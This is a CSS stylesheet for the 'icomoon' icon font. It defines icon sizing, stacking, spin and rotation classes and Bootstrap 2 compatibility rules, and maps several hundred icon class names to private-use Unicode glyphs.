.icon-pictures, .icon-landscape, .icon-docs, .icon-document, .icon-text, .icon-text-2, .icon-list-6, .icon-layout, .icon-add-to-list, .icon-list-7, .icon-switch-3, .icon-back, .icon-history-2, .icon-loop-5, .icon-retweet-2, .icon-arrow, .icon-arrow-2, .icon-shuffle-2, .icon-ccw, .icon-cw, .icon-cycle, .icon-warning-3, .icon-help, .icon-question-3, .icon-info-6, .icon-info-7, .icon-blocked-3, .icon-erase, .icon-plus-5, .icon-minus-5, .icon-cross, .icon-plus-6, .icon-minus-6, .icon-cross-2, .icon-plus-7, .icon-minus-7, .icon-cross-3, .icon-checkmark-5, .icon-login, .icon-logout, .icon-lock-open, .icon-lock-4, .icon-graph, .icon-bars-4, .icon-pie-2, .icon-statistics, .icon-untitled-2, .icon-droplets, .icon-thermometer-2, .icon-signal-2, .icon-rss-3, .icon-ticket-3, .icon-box-2, .icon-cart-5, .icon-clipboard, .icon-voicemail, .icon-database-2, .icon-credit-card-2, .icon-light-bulb, .icon-infinity, .icon-screen-2, .icon-code-4, .icon-adjust-2, .icon-sun-5, .icon-sun-6, .icon-progress-0, .icon-brogress-1, .icon-progress-2, .icon-progress-3, .icon-publish, .icon-browser, .icon-keyboard-4, .icon-earth-3, .icon-cone-2, .icon-suitcase-2, .icon-brush-2, .icon-rocket-3, .icon-cup, .icon-drive, .icon-magnet-3, .icon-bucket, .icon-battery-2, .icon-key-5, .icon-network, .icon-language, .icon-gauge, .icon-hourglass, .icon-air, .icon-briefcase-4, .icon-cd-2, .icon-droplet-3, .icon-thunder, .icon-bolt-4, .icon-calendar-6, .icon-microphone-3, .icon-clock-5, .icon-eye-5, .icon-lifebuoy, .icon-airplane-2, .icon-bag, .icon-newspaper-2, .icon-book-5, .icon-graduation, .icon-new, .icon-music-5, .icon-music-6, .icon-leaf-3, .icon-palette, .icon-moon-4, .icon-megaphone, .icon-camera-7, .icon-tag-4, .icon-trophy-4, .icon-tools, .icon-cog-6, .icon-flag-4, .icon-link-4, .icon-bell-3, .icon-printer, .icon-flashlight, .icon-search-4, .icon-popup, .icon-house, .icon-quote, .icon-comment-3, .icon-chat-2, .icon-thumbs-down-4, .icon-thumbs-up-6, .icon-star-8, .icon-star-9, .icon-heart-5, .icon-heart-6, .icon-sharable, .icon-share-4, .icon-target-6, .icon-location-5, .icon-compass-6, .icon-map-3, .icon-location-6, .icon-export, .icon-vcard, .icon-user-add, .icon-users-3, .icon-user-8, .icon-forward-6, .icon-reply-all-2, .icon-reply-3, .icon-drawer-4, .icon-paperclip-3, .icon-feather, .icon-pencil-5, .icon-paperplane, .icon-mail-6, .icon-directions, .icon-mouse-2, .icon-mobile-5, .icon-phone-4 {
	font-family: 'icomoon';
	speak: none;
	font-style: normal;
	font-weight: normal;
	font-variant: normal;
	text-transform: none;
	line-height: 1;
	-webkit-font-smoothing: antialiased;
}

[class^="icon-"]:before,
[class*=" icon-"]:before {
  text-decoration: inherit;
  display: inline-block;
  speak: none;
}
/* makes the font 33% larger relative to the icon container */
.icon-large:before {
  vertical-align: -10%;
  font-size: 1.3333333333333333em;
}
/* makes sure icons active on rollover in links */
a [class^="icon-"],
a [class*=" icon-"] {
  display: inline;
}
/* increased font size for icon-large */
[class^="icon-"].icon-fixed-width,
[class*=" icon-"].icon-fixed-width {
  display: inline-block;
  width: 1.1428571428571428em;
  text-align: right;
  padding-right: 0.2857142857142857em;
}
[class^="icon-"].icon-fixed-width.icon-large,
[class*=" icon-"].icon-fixed-width.icon-large {
  width: 1.4285714285714286em;
}
.icons-ul {
  margin-left: 2.142857142857143em;
  list-style-type: none;
}
.icons-ul > li {
  position: relative;
}
.icons-ul .icon-li {
  position: absolute;
  left: -2.142857142857143em;
  width: 2.142857142857143em;
  text-align: center;
  line-height: inherit;
}
[class^="icon-"].hide,
[class*=" icon-"].hide {
  display: none;
}
.icon-muted {
  color: #eeeeee;
}
.icon-light {
  color: #ffffff;
}
.icon-dark {
  color: #333333;
}
.icon-border {
  border: solid 1px #eeeeee;
  padding: .2em .25em .15em;
  -webkit-border-radius: 3px;
  -moz-border-radius: 3px;
  border-radius: 3px;
}
.icon-2x {
  font-size: 2em;
}
.icon-2x.icon-border {
  border-width: 2px;
  -webkit-border-radius: 4px;
  -moz-border-radius: 4px;
  border-radius: 4px;
}
.icon-3x {
  font-size: 3em;
}
.icon-3x.icon-border {
  border-width: 3px;
  -webkit-border-radius: 5px;
  -moz-border-radius: 5px;
  border-radius: 5px;
}
.icon-4x {
  font-size: 4em;
}
.icon-4x.icon-border {
  border-width: 4px;
  -webkit-border-radius: 6px;
  -moz-border-radius: 6px;
  border-radius: 6px;
}
.icon-5x {
  font-size: 5em;
}
.icon-5x.icon-border {
  border-width: 5px;
  -webkit-border-radius: 7px;
  -moz-border-radius: 7px;
  border-radius: 7px;
}
.pull-right {
  float: right;
}
.pull-left {
  float: left;
}
[class^="icon-"].pull-left,
[class*=" icon-"].pull-left {
  margin-right: .3em;
}
[class^="icon-"].pull-right,
[class*=" icon-"].pull-right {
  margin-left: .3em;
}
/* BOOTSTRAP SPECIFIC CLASSES
 * -------------------------- */
/* Bootstrap 2.0 sprites.less reset */
[class^="icon-"],
[class*=" icon-"] {
  display: inline;
  width: auto;
  height: auto;
  line-height: normal;
  vertical-align: baseline;
  background-image: none;
  background-position: 0% 0%;
  background-repeat: repeat;
  margin-top: 0;
}
/* more sprites.less reset */
.icon-white,
.nav-pills > .active > a > [class^="icon-"],
.nav-pills > .active > a > [class*=" icon-"],
.nav-list > .active > a > [class^="icon-"],
.nav-list > .active > a > [class*=" icon-"],
.navbar-inverse .nav > .active > a > [class^="icon-"],
.navbar-inverse .nav > .active > a > [class*=" icon-"],
.dropdown-menu > li > a:hover > [class^="icon-"],
.dropdown-menu > li > a:hover > [class*=" icon-"],
.dropdown-menu > .active > a > [class^="icon-"],
.dropdown-menu > .active > a > [class*=" icon-"],
.dropdown-submenu:hover > a > [class^="icon-"],
.dropdown-submenu:hover > a > [class*=" icon-"] {
  background-image: none;
}
/* keeps Bootstrap styles with and without icons the same */
.btn [class^="icon-"].icon-large,
.nav [class^="icon-"].icon-large,
.btn [class*=" icon-"].icon-large,
.nav [class*=" icon-"].icon-large {
  line-height: .9em;
}
.btn [class^="icon-"].icon-spin,
.nav [class^="icon-"].icon-spin,
.btn [class*=" icon-"].icon-spin,
.nav [class*=" icon-"].icon-spin {
  display: inline-block;
}
.nav-tabs [class^="icon-"],
.nav-pills [class^="icon-"],
.nav-tabs [class*=" icon-"],
.nav-pills [class*=" icon-"],
.nav-tabs [class^="icon-"].icon-large,
.nav-pills [class^="icon-"].icon-large,
.nav-tabs [class*=" icon-"].icon-large,
.nav-pills [class*=" icon-"].icon-large {
  line-height: .9em;
}
.btn [class^="icon-"].pull-left.icon-2x,
.btn [class*=" icon-"].pull-left.icon-2x,
.btn [class^="icon-"].pull-right.icon-2x,
.btn [class*=" icon-"].pull-right.icon-2x {
  margin-top: .18em;
}
.btn [class^="icon-"].icon-spin.icon-large,
.btn [class*=" icon-"].icon-spin.icon-large {
  line-height: .8em;
}
.btn.btn-small [class^="icon-"].pull-left.icon-2x,
.btn.btn-small [class*=" icon-"].pull-left.icon-2x,
.btn.btn-small [class^="icon-"].pull-right.icon-2x,
.btn.btn-small [class*=" icon-"].pull-right.icon-2x {
  margin-top: .25em;
}
.btn.btn-large [class^="icon-"],
.btn.btn-large [class*=" icon-"] {
  margin-top: 0;
}
.btn.btn-large [class^="icon-"].pull-left.icon-2x,
.btn.btn-large [class*=" icon-"].pull-left.icon-2x,
.btn.btn-large [class^="icon-"].pull-right.icon-2x,
.btn.btn-large [class*=" icon-"].pull-right.icon-2x {
  margin-top: .05em;
}
.btn.btn-large [class^="icon-"].pull-left.icon-2x,
.btn.btn-large [class*=" icon-"].pull-left.icon-2x {
  margin-right: .2em;
}
.btn.btn-large [class^="icon-"].pull-right.icon-2x,
.btn.btn-large [class*=" icon-"].pull-right.icon-2x {
  margin-left: .2em;
}
/* Fixes alignment in nav lists */
.nav-list [class^="icon-"],
.nav-list [class*=" icon-"] {
  line-height: inherit;
}
/* EXTRAS
 * -------------------------- */
/* Stacked and layered icon */
.icon-stack {
  position: relative;
  display: inline-block;
  width: 2em;
  height: 2em;
  line-height: 2em;
  vertical-align: -35%;
}
.icon-stack [class^="icon-"],
.icon-stack [class*=" icon-"] {
  display: block;
  text-align: center;
  position: absolute;
  width: 100%;
  height: 100%;
  font-size: 1em;
  line-height: inherit;
  *line-height: 2em;
}
.icon-stack .icon-stack-base {
  font-size: 2em;
  *line-height: 1em;
}
/* Animated rotating icon */
.icon-spin {
  display: inline-block;
  -moz-animation: spin 2s infinite linear;
  -o-animation: spin 2s infinite linear;
  -webkit-animation: spin 2s infinite linear;
  animation: spin 2s infinite linear;
}
/* Prevent stack and spinners from being taken inline when inside a link */
a .icon-stack,
a .icon-spin {
  display: inline-block;
  text-decoration: none;
}
@-moz-keyframes spin {
  0% {
    -moz-transform: rotate(0deg);
  }
  100% {
    -moz-transform: rotate(359deg);
  }
}
@-webkit-keyframes spin {
  0% {
    -webkit-transform: rotate(0deg);
  }
  100% {
    -webkit-transform: rotate(359deg);
  }
}
@-o-keyframes spin {
  0% {
    -o-transform: rotate(0deg);
  }
  100% {
    -o-transform: rotate(359deg);
  }
}
@-ms-keyframes spin {
  0% {
    -ms-transform: rotate(0deg);
  }
  100% {
    -ms-transform: rotate(359deg);
  }
}
@keyframes spin {
  0% {
    transform: rotate(0deg);
  }
  100% {
    transform: rotate(359deg);
  }
}
/* Icon rotations and mirroring */
.icon-rotate-90:before {
  -webkit-transform: rotate(90deg);
  -moz-transform: rotate(90deg);
  -ms-transform: rotate(90deg);
  -o-transform: rotate(90deg);
  transform: rotate(90deg);
  filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=1);
}
.icon-rotate-180:before {
  -webkit-transform: rotate(180deg);
  -moz-transform: rotate(180deg);
  -ms-transform: rotate(180deg);
  -o-transform: rotate(180deg);
  transform: rotate(180deg);
  filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=2);
}
.icon-rotate-270:before {
  -webkit-transform: rotate(270deg);
  -moz-transform: rotate(270deg);
  -ms-transform: rotate(270deg);
  -o-transform: rotate(270deg);
  transform: rotate(270deg);
  filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=3);
}
.icon-flip-horizontal:before {
  -webkit-transform: scale(-1, 1);
  -moz-transform: scale(-1, 1);
  -ms-transform: scale(-1, 1);
  -o-transform: scale(-1, 1);
  transform: scale(-1, 1);
}
.icon-flip-vertical:before {
  -webkit-transform: scale(1, -1);
  -moz-transform: scale(1, -1);
  -ms-transform: scale(1, -1);
  -o-transform: scale(1, -1);
  transform: scale(1, -1);
}
/* ensure rotation occurs inside anchor tags */
a .icon-rotate-90:before,
a .icon-rotate-180:before,
a .icon-rotate-270:before,
a .icon-flip-horizontal:before,
a .icon-flip-vertical:before {
  display: inline-block;
}

.icon-home:before {
	content: "\e000";
}
.icon-home-2:before {
	content: "\e001";
}
.icon-home-3:before {
	content: "\e002";
}
.icon-office:before {
	content: "\e003";
}
.icon-newspaper:before {
	content: "\e004";
}
.icon-pencil:before {
	content: "\e005";
}
.icon-pencil-2:before {
	content: "\e006";
}
.icon-quill:before {
	content: "\e007";
}
.icon-pen:before {
	content: "\e008";
}
.icon-blog:before {
	content: "\e009";
}
.icon-droplet:before {
	content: "\e00a";
}
.icon-paint-format:before {
	content: "\e00b";
}
.icon-image:before {
	content: "\e00c";
}
.icon-image-2:before {
	content: "\e00d";
}
.icon-images:before {
	content: "\e00e";
}
.icon-camera:before {
	content: "\e00f";
}
.icon-music:before {
	content: "\e010";
}
.icon-headphones:before {
	content: "\e011";
}
.icon-play:before {
	content: "\e012";
}
.icon-film:before {
	content: "\e013";
}
.icon-camera-2:before {
	content: "\e014";
}
.icon-dice:before {
	content: "\e015";
}
.icon-pacman:before {
	content: "\e016";
}
.icon-spades:before {
	content: "\e017";
}
.icon-clubs:before {
	content: "\e018";
}
.icon-diamonds:before {
	content: "\e019";
}
.icon-pawn:before {
	content: "\e01a";
}
.icon-bullhorn:before {
	content: "\e01b";
}
.icon-connection:before {
	content: "\e01c";
}
.icon-podcast:before {
	content: "\e01d";
}
.icon-feed:before {
	content: "\e01e";
}
.icon-book:before {
	content: "\e01f";
}
.icon-books:before {
	content: "\e020";
}
.icon-library:before {
	content: "\e021";
}
.icon-file:before {
	content: "\e022";
}
.icon-profile:before {
	content: "\e023";
}
.icon-file-2:before {
	content: "\e024";
}
.icon-file-3:before {
	content: "\e025";
}
.icon-file-4:before {
	content: "\e026";
}
.icon-copy:before {
	content: "\e027";
}
.icon-copy-2:before {
	content: "\e028";
}
.icon-copy-3:before {
	content: "\e029";
}
.icon-paste:before {
	content: "\e02a";
}
.icon-paste-2:before {
	content: "\e02b";
}
.icon-paste-3:before {
	content: "\e02c";
}
.icon-stack:before {
	content: "\e02d";
}
.icon-folder:before {
	content: "\e02e";
}
.icon-folder-open:before {
	content: "\e02f";
}
.icon-tag:before {
	content: "\e030";
}
.icon-tags:before {
	content: "\e031";
}
.icon-barcode:before {
	content: "\e032";
}
.icon-qrcode:before {
	content: "\e033";
}
.icon-ticket:before {
	content: "\e034";
}
.icon-cart:before {
	content: "\e035";
}
.icon-cart-2:before {
	content: "\e036";
}
.icon-cart-3:before {
	content: "\e037";
}
.icon-coin:before {
	content: "\e038";
}
.icon-credit:before {
	content: "\e039";
}
.icon-calculate:before {
	content: "\e03a";
}
.icon-support:before {
	content: "\e03b";
}
.icon-phone:before {
	content: "\e03c";
}
.icon-phone-hang-up:before {
	content: "\e03d";
}
.icon-address-book:before {
	content: "\e03e";
}
.icon-notebook:before {
	content: "\e03f";
}
.icon-envelop:before {
	content: "\e040";
}
.icon-pushpin:before {
	content: "\e041";
}
.icon-location:before {
	content: "\e042";
}
.icon-location-2:before {
	content: "\e043";
}
.icon-compass:before {
	content: "\e044";
}
.icon-map:before {
	content: "\e045";
}
.icon-map-2:before {
	content: "\e046";
}
.icon-history:before {
	content: "\e047";
}
.icon-clock:before {
	content: "\e048";
}
.icon-clock-2:before {
	content: "\e049";
}
.icon-alarm:before {
	content: "\e04a";
}
.icon-alarm-2:before {
	content: "\e04b";
}
.icon-bell:before {
	content: "\e04c";
}
.icon-stopwatch:before {
	content: "\e04d";
}
.icon-calendar:before {
	content: "\e04e";
}
.icon-calendar-2:before {
	content: "\e04f";
}
.icon-print:before {
	content: "\e050";
}
.icon-keyboard:before {
	content: "\e051";
}
.icon-screen:before {
	content: "\e052";
}
.icon-laptop:before {
	content: "\e053";
}
.icon-mobile:before {
	content: "\e054";
}
.icon-mobile-2:before {
	content: "\e055";
}
.icon-tablet:before {
	content: "\e056";
}
.icon-tv:before {
	content: "\e057";
}
.icon-cabinet:before {
	content: "\e058";
}
.icon-drawer:before {
	content: "\e059";
}
.icon-drawer-2:before {
	content: "\e05a";
}
.icon-drawer-3:before {
	content: "\e05b";
}
.icon-box-add:before {
	content: "\e05c";
}
.icon-box-remove:before {
	content: "\e05d";
}
.icon-download:before {
	content: "\e05e";
}
.icon-upload:before {
	content: "\e05f";
}
.icon-disk:before {
	content: "\e060";
}
.icon-storage:before {
	content: "\e061";
}
.icon-undo:before {
	content: "\e062";
}
.icon-redo:before {
	content: "\e063";
}
.icon-flip:before {
	content: "\e064";
}
.icon-flip-2:before {
	content: "\e065";
}
.icon-undo-2:before {
	content: "\e066";
}
.icon-redo-2:before {
	content: "\e067";
}
.icon-forward:before {
	content: "\e068";
}
.icon-reply:before {
	content: "\e069";
}
.icon-bubble:before {
	content: "\e06a";
}
.icon-bubbles:before {
	content: "\e06b";
}
.icon-bubbles-2:before {
	content: "\e06c";
}
.icon-bubble-2:before {
	content: "\e06d";
}
.icon-bubbles-3:before {
	content: "\e06e";
}
.icon-bubbles-4:before {
	content: "\e06f";
}
.icon-user:before {
	content: "\e070";
}
.icon-users:before {
	content: "\e071";
}
.icon-user-2:before {
	content: "\e072";
}
.icon-users-2:before {
	content: "\e073";
}
.icon-user-3:before {
	content: "\e074";
}
.icon-user-4:before {
	content: "\e075";
}
.icon-quotes-left:before {
	content: "\e076";
}
.icon-busy:before {
	content: "\e077";
}
.icon-spinner:before {
	content: "\e078";
}
.icon-spinner-2:before {
	content: "\e079";
}
.icon-spinner-3:before {
	content: "\e07a";
}
.icon-spinner-4:before {
	content: "\e07b";
}
.icon-spinner-5:before {
	content: "\e07c";
}
.icon-spinner-6:before {
	content: "\e07d";
}
.icon-binoculars:before {
	content: "\e07e";
}
.icon-search:before {
	content: "\e07f";
}
.icon-zoom-in:before {
	content: "\e080";
}
.icon-zoom-out:before {
	content: "\e081";
}
.icon-expand:before {
	content: "\e082";
}
.icon-contract:before {
	content: "\e083";
}
.icon-expand-2:before {
	content: "\e084";
}
.icon-contract-2:before {
	content: "\e085";
}
.icon-key:before {
	content: "\e086";
}
.icon-key-2:before {
	content: "\e087";
}
.icon-lock:before {
	content: "\e088";
}
.icon-lock-2:before {
	content: "\e089";
}
.icon-unlocked:before {
	content: "\e08a";
}
.icon-wrench:before {
	content: "\e08b";
}
.icon-settings:before {
	content: "\e08c";
}
.icon-equalizer:before {
	content: "\e08d";
}
.icon-cog:before {
	content: "\e08e";
}
.icon-cogs:before {
	content: "\e08f";
}
.icon-cog-2:before {
	content: "\e090";
}
.icon-hammer:before {
	content: "\e091";
}
.icon-wand:before {
	content: "\e092";
}
.icon-aid:before {
	content: "\e093";
}
.icon-bug:before {
	content: "\e094";
}
.icon-pie:before {
	content: "\e095";
}
.icon-stats:before {
	content: "\e096";
}
.icon-bars:before {
	content: "\e097";
}
.icon-bars-2:before {
	content: "\e098";
}
.icon-gift:before {
	content: "\e099";
}
.icon-trophy:before {
	content: "\e09a";
}
.icon-glass:before {
	content: "\e09b";
}
.icon-mug:before {
	content: "\e09c";
}
.icon-food:before {
	content: "\e09d";
}
.icon-leaf:before {
	content: "\e09e";
}
.icon-rocket:before {
	content: "\e09f";
}
.icon-meter:before {
	content: "\e0a0";
}
.icon-meter2:before {
	content: "\e0a1";
}
.icon-dashboard:before {
	content: "\e0a2";
}
.icon-hammer-2:before {
	content: "\e0a3";
}
.icon-fire:before {
	content: "\e0a4";
}
.icon-lab:before {
	content: "\e0a5";
}
.icon-magnet:before {
	content: "\e0a6";
}
.icon-remove:before {
	content: "\e0a7";
}
.icon-remove-2:before {
	content: "\e0a8";
}
.icon-briefcase:before {
	content: "\e0a9";
}
.icon-airplane:before {
	content: "\e0aa";
}
.icon-truck:before {
	content: "\e0ab";
}
.icon-road:before {
	content: "\e0ac";
}
.icon-accessibility:before {
	content: "\e0ad";
}
.icon-target:before {
	content: "\e0ae";
}
.icon-shield:before {
	content: "\e0af";
}
.icon-lightning:before {
	content: "\e0b0";
}
.icon-switch:before {
	content: "\e0b1";
}
.icon-power-cord:before {
	content: "\e0b2";
}
.icon-signup:before {
	content: "\e0b3";
}
.icon-list:before {
	content: "\e0b4";
}
.icon-list-2:before {
	content: "\e0b5";
}
.icon-numbered-list:before {
	content: "\e0b6";
}
.icon-menu:before {
	content: "\e0b7";
}
.icon-menu-2:before {
	content: "\e0b8";
}
.icon-tree:before {
	content: "\e0b9";
}
.icon-cloud:before {
	content: "\e0ba";
}
.icon-cloud-download:before {
	content: "\e0bb";
}
.icon-cloud-upload:before {
	content: "\e0bc";
}
.icon-download-2:before {
	content: "\e0bd";
}
.icon-upload-2:before {
	content: "\e0be";
}
.icon-download-3:before {
	content: "\e0bf";
}
.icon-upload-3:before {
	content: "\e0c0";
}
.icon-globe:before {
	content: "\e0c1";
}
.icon-earth:before {
	content: "\e0c2";
}
.icon-link:before {
	content: "\e0c3";
}
.icon-flag:before {
	content: "\e0c4";
}
.icon-attachment:before {
	content: "\e0c5";
}
.icon-eye:before {
	content: "\e0c6";
}
.icon-eye-blocked:before {
	content: "\e0c7";
}
.icon-eye-2:before {
	content: "\e0c8";
}
.icon-bookmark:before {
	content: "\e0c9";
}
.icon-bookmarks:before {
	content: "\e0ca";
}
.icon-brightness-medium:before {
	content: "\e0cb";
}
.icon-brightness-contrast:before {
	content: "\e0cc";
}
.icon-contrast:before {
	content: "\e0cd";
}
.icon-star:before {
	content: "\e0ce";
}
.icon-star-2:before {
	content: "\e0cf";
}
.icon-star-3:before {
	content: "\e0d0";
}
.icon-heart:before {
	content: "\e0d1";
}
.icon-heart-2:before {
	content: "\e0d2";
}
.icon-heart-broken:before {
	content: "\e0d3";
}
.icon-thumbs-up:before {
	content: "\e0d4";
}
.icon-thumbs-up-2:before {
	content: "\e0d5";
}
.icon-happy:before {
	content: "\e0d6";
}
.icon-happy-2:before {
	content: "\e0d7";
}
.icon-smiley:before {
	content: "\e0d8";
}
.icon-smiley-2:before {
	content: "\e0d9";
}
.icon-tongue:before {
	content: "\e0da";
}
.icon-tongue-2:before {
	content: "\e0db";
}
.icon-sad:before {
	content: "\e0dc";
}
.icon-sad-2:before {
	content: "\e0dd";
}
.icon-wink:before {
	content: "\e0de";
}
.icon-wink-2:before {
	content: "\e0df";
}
.icon-grin:before {
	content: "\e0e0";
}
.icon-grin-2:before {
	content: "\e0e1";
}
.icon-cool:before {
	content: "\e0e2";
}
.icon-cool-2:before {
	content: "\e0e3";
}
.icon-angry:before {
	content: "\e0e4";
}
.icon-angry-2:before {
	content: "\e0e5";
}
.icon-evil:before {
	content: "\e0e6";
}
.icon-evil-2:before {
	content: "\e0e7";
}
.icon-shocked:before {
	content: "\e0e8";
}
.icon-shocked-2:before {
	content: "\e0e9";
}
.icon-confused:before {
	content: "\e0ea";
}
.icon-confused-2:before {
	content: "\e0eb";
}
.icon-neutral:before {
	content: "\e0ec";
}
.icon-neutral-2:before {
	content: "\e0ed";
}
.icon-wondering:before {
	content: "\e0ee";
}
.icon-wondering-2:before {
	content: "\e0ef";
}
.icon-point-up:before {
	content: "\e0f0";
}
.icon-point-right:before {
	content: "\e0f1";
}
.icon-point-down:before {
	content: "\e0f2";
}
.icon-point-left:before {
	content: "\e0f3";
}
.icon-warning:before {
	content: "\e0f4";
}
.icon-notification:before {
	content: "\e0f5";
}
.icon-question:before {
	content: "\e0f6";
}
.icon-info:before {
	content: "\e0f7";
}
.icon-info-2:before {
	content: "\e0f8";
}
.icon-blocked:before {
	content: "\e0f9";
}
.icon-cancel-circle:before {
	content: "\e0fa";
}
.icon-checkmark-circle:before {
	content: "\e0fb";
}
.icon-spam:before {
	content: "\e0fc";
}
.icon-close:before {
	content: "\e0fd";
}
.icon-checkmark:before {
	content: "\e0fe";
}
.icon-checkmark-2:before {
	content: "\e0ff";
}
.icon-spell-check:before {
	content: "\e100";
}
.icon-minus:before {
	content: "\e101";
}
.icon-plus:before {
	content: "\e102";
}
.icon-enter:before {
	content: "\e103";
}
.icon-exit:before {
	content: "\e104";
}
.icon-play-2:before {
	content: "\e105";
}
.icon-pause:before {
	content: "\e106";
}
.icon-stop:before {
	content: "\e107";
}
.icon-backward:before {
	content: "\e108";
}
.icon-forward-2:before {
	content: "\e109";
}
.icon-play-3:before {
	content: "\e10a";
}
.icon-pause-2:before {
	content: "\e10b";
}
.icon-stop-2:before {
	content: "\e10c";
}
.icon-backward-2:before {
	content: "\e10d";
}
.icon-forward-3:before {
	content: "\e10e";
}
.icon-first:before {
	content: "\e10f";
}
.icon-last:before {
	content: "\e110";
}
.icon-previous:before {
	content: "\e111";
}
.icon-next:before {
	content: "\e112";
}
.icon-eject:before {
	content: "\e113";
}
.icon-volume-high:before {
	content: "\e114";
}
.icon-volume-medium:before {
	content: "\e115";
}
.icon-volume-low:before {
	content: "\e116";
}
.icon-volume-mute:before {
	content: "\e117";
}
.icon-volume-mute-2:before {
	content: "\e118";
}
.icon-volume-increase:before {
	content: "\e119";
}
.icon-volume-decrease:before {
	content: "\e11a";
}
.icon-loop:before {
	content: "\e11b";
}
.icon-loop-2:before {
	content: "\e11c";
}
.icon-loop-3:before {
	content: "\e11d";
}
.icon-shuffle:before {
	content: "\e11e";
}
.icon-arrow-up-left:before {
	content: "\e11f";
}
.icon-arrow-up:before {
	content: "\e120";
}
.icon-arrow-up-right:before {
	content: "\e121";
}
.icon-arrow-right:before {
	content: "\e122";
}
.icon-arrow-down-right:before {
	content: "\e123";
}
.icon-arrow-down:before {
	content: "\e124";
}
.icon-arrow-down-left:before {
	content: "\e125";
}
.icon-arrow-left:before {
	content: "\e126";
}
.icon-arrow-up-left-2:before {
	content: "\e127";
}
.icon-arrow-up-2:before {
	content: "\e128";
}
.icon-arrow-up-right-2:before {
	content: "\e129";
}
.icon-arrow-right-2:before {
	content: "\e12a";
}
.icon-arrow-down-right-2:before {
	content: "\e12b";
}
.icon-arrow-down-2:before {
	content: "\e12c";
}
.icon-arrow-down-left-2:before {
	content: "\e12d";
}
.icon-arrow-left-2:before {
	content: "\e12e";
}
.icon-arrow-up-left-3:before {
	content: "\e12f";
}
.icon-arrow-up-3:before {
	content: "\e130";
}
.icon-arrow-up-right-3:before {
	content: "\e131";
}
.icon-arrow-right-3:before {
	content: "\e132";
}
.icon-arrow-down-right-3:before {
	content: "\e133";
}
.icon-arrow-down-3:before {
	content: "\e134";
}
.icon-arrow-down-left-3:before {
	content: "\e135";
}
.icon-arrow-left-3:before {
	content: "\e136";
}
.icon-tab:before {
	content: "\e137";
}
.icon-checkbox-checked:before {
	content: "\e138";
}
.icon-checkbox-unchecked:before {
	content: "\e139";
}
.icon-checkbox-partial:before {
	content: "\e13a";
}
.icon-radio-checked:before {
	content: "\e13b";
}
.icon-radio-unchecked:before {
	content: "\e13c";
}
.icon-crop:before {
	content: "\e13d";
}
.icon-scissors:before {
	content: "\e13e";
}
.icon-filter:before {
	content: "\e13f";
}
.icon-filter-2:before {
	content: "\e140";
}
.icon-font:before {
	content: "\e141";
}
.icon-text-height:before {
	content: "\e142";
}
.icon-text-width:before {
	content: "\e143";
}
.icon-bold:before {
	content: "\e144";
}
.icon-underline:before {
	content: "\e145";
}
.icon-italic:before {
	content: "\e146";
}
.icon-strikethrough:before {
	content: "\e147";
}
.icon-omega:before {
	content: "\e148";
}
.icon-sigma:before {
	content: "\e149";
}
.icon-table:before {
	content: "\e14a";
}
.icon-table-2:before {
	content: "\e14b";
}
.icon-insert-template:before {
	content: "\e14c";
}
.icon-pilcrow:before {
	content: "\e14d";
}
.icon-left-to-right:before {
	content: "\e14e";
}
.icon-right-to-left:before {
	content: "\e14f";
}
.icon-paragraph-left:before {
	content: "\e150";
}
.icon-paragraph-center:before {
	content: "\e151";
}
.icon-paragraph-right:before {
	content: "\e152";
}
.icon-paragraph-justify:before {
	content: "\e153";
}
.icon-paragraph-left-2:before {
	content: "\e154";
}
.icon-paragraph-center-2:before {
	content: "\e155";
}
.icon-paragraph-right-2:before {
	content: "\e156";
}
.icon-paragraph-justify-2:before {
	content: "\e157";
}
.icon-indent-increase:before {
	content: "\e158";
}
.icon-indent-decrease:before {
	content: "\e159";
}
.icon-new-tab:before {
	content: "\e15a";
}
.icon-embed:before {
	content: "\e15b";
}
.icon-code:before {
	content: "\e15c";
}
.icon-console:before {
	content: "\e15d";
}
.icon-share:before {
	content: "\e15e";
}
.icon-mail:before {
	content: "\e15f";
}
.icon-mail-2:before {
	content: "\e160";
}
.icon-mail-3:before {
	content: "\e161";
}
.icon-mail-4:before {
	content: "\e162";
}
.icon-google:before {
	content: "\e163";
}
.icon-google-plus:before {
	content: "\e164";
}
.icon-google-plus-2:before {
	content: "\e165";
}
.icon-google-plus-3:before {
	content: "\e166";
}
.icon-google-plus-4:before {
	content: "\e167";
}
.icon-google-drive:before {
	content: "\e168";
}
.icon-facebook:before {
	content: "\e169";
}
.icon-facebook-2:before {
	content: "\e16a";
}
.icon-facebook-3:before {
	content: "\e16b";
}
.icon-instagram:before {
	content: "\e16c";
}
.icon-twitter:before {
	content: "\e16d";
}
.icon-twitter-2:before {
	content: "\e16e";
}
.icon-twitter-3:before {
	content: "\e16f";
}
.icon-feed-2:before {
	content: "\e170";
}
.icon-feed-3:before {
	content: "\e171";
}
.icon-feed-4:before {
	content: "\e172";
}
.icon-youtube:before {
	content: "\e173";
}
.icon-youtube-2:before {
	content: "\e174";
}
.icon-vimeo:before {
	content: "\e175";
}
.icon-vimeo2:before {
	content: "\e176";
}
.icon-vimeo-2:before {
	content: "\e177";
}
.icon-lanyrd:before {
	content: "\e178";
}
.icon-flickr:before {
	content: "\e179";
}
.icon-flickr-2:before {
	content: "\e17a";
}
.icon-flickr-3:before {
	content: "\e17b";
}
.icon-flickr-4:before {
	content: "\e17c";
}
.icon-picassa:before {
	content: "\e17d";
}
.icon-picassa-2:before {
	content: "\e17e";
}
.icon-dribbble:before {
	content: "\e17f";
}
.icon-dribbble-2:before {
	content: "\e180";
}
.icon-dribbble-3:before {
	content: "\e181";
}
.icon-forrst:before {
	content: "\e182";
}
.icon-forrst-2:before {
	content: "\e183";
}
.icon-deviantart:before {
	content: "\e184";
}
.icon-deviantart-2:before {
	content: "\e185";
}
.icon-steam:before {
	content: "\e186";
}
.icon-steam-2:before {
	content: "\e187";
}
.icon-github:before {
	content: "\e188";
}
.icon-github-2:before {
	content: "\e189";
}
.icon-github-3:before {
	content: "\e18a";
}
.icon-github-4:before {
	content: "\e18b";
}
.icon-github-5:before {
	content: "\e18c";
}
.icon-wordpress:before {
	content: "\e18d";
}
.icon-wordpress-2:before {
	content: "\e18e";
}
.icon-joomla:before {
	content: "\e18f";
}
.icon-blogger:before {
	content: "\e190";
}
.icon-blogger-2:before {
	content: "\e191";
}
.icon-tumblr:before {
	content: "\e192";
}
.icon-tumblr-2:before {
	content: "\e193";
}
.icon-yahoo:before {
	content: "\e194";
}
.icon-tux:before {
	content: "\e195";
}
